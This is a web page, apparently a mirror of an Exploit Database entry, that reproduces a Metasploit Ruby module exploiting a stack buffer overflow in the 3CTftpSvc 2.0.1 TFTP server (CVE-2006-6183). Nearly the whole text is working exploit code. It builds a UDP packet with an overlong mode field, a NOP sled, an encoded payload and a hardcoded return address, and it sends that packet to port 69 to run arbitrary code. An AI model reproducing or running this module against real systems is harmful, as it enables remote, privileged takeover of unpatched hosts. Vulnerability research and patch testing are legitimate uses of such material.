3Com TFTP Service (3CTftpSvc) – ‘Mode’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16347/

• ##
  # $Id: threectftpsvc_long_mode.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => '3CTftpSvc TFTP Long Mode Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By
  				sending a specially crafted packet with an overly long mode
  				field, a remote attacker could overflow a buffer and execute
  				arbitrary code on the system.
  			},
  			'Author' => 'MC',
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					['CVE', '2006-6183'],
  					['OSVDB', '30758'],
  					['BID', '21301'],
  					['URL', 'http://secunia.com/advisories/23113/'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 400,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ '3CTftpSvc 2.0.1',			{ 'Ret' => 0x00402b02 } ],
  				],
  			'Privileged' => true,
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Nov 27 2006'))
  
  		register_options([Opt::RPORT(69)], self.class)
  	end
  
  	def exploit
  		connect_udp
  
  		sploit = "\x00\x02" + rand_text_alpha_upper(1) + "\x00" + make_nops(73)
  		sploit << payload.encoded + [target.ret].pack('V') + make_nops(25) + "\x00"
  
  		print_status("Trying target #{target.name}...")
  
  		udp_sock.put(sploit)
  
  		disconnect_udp
  	end
  
  end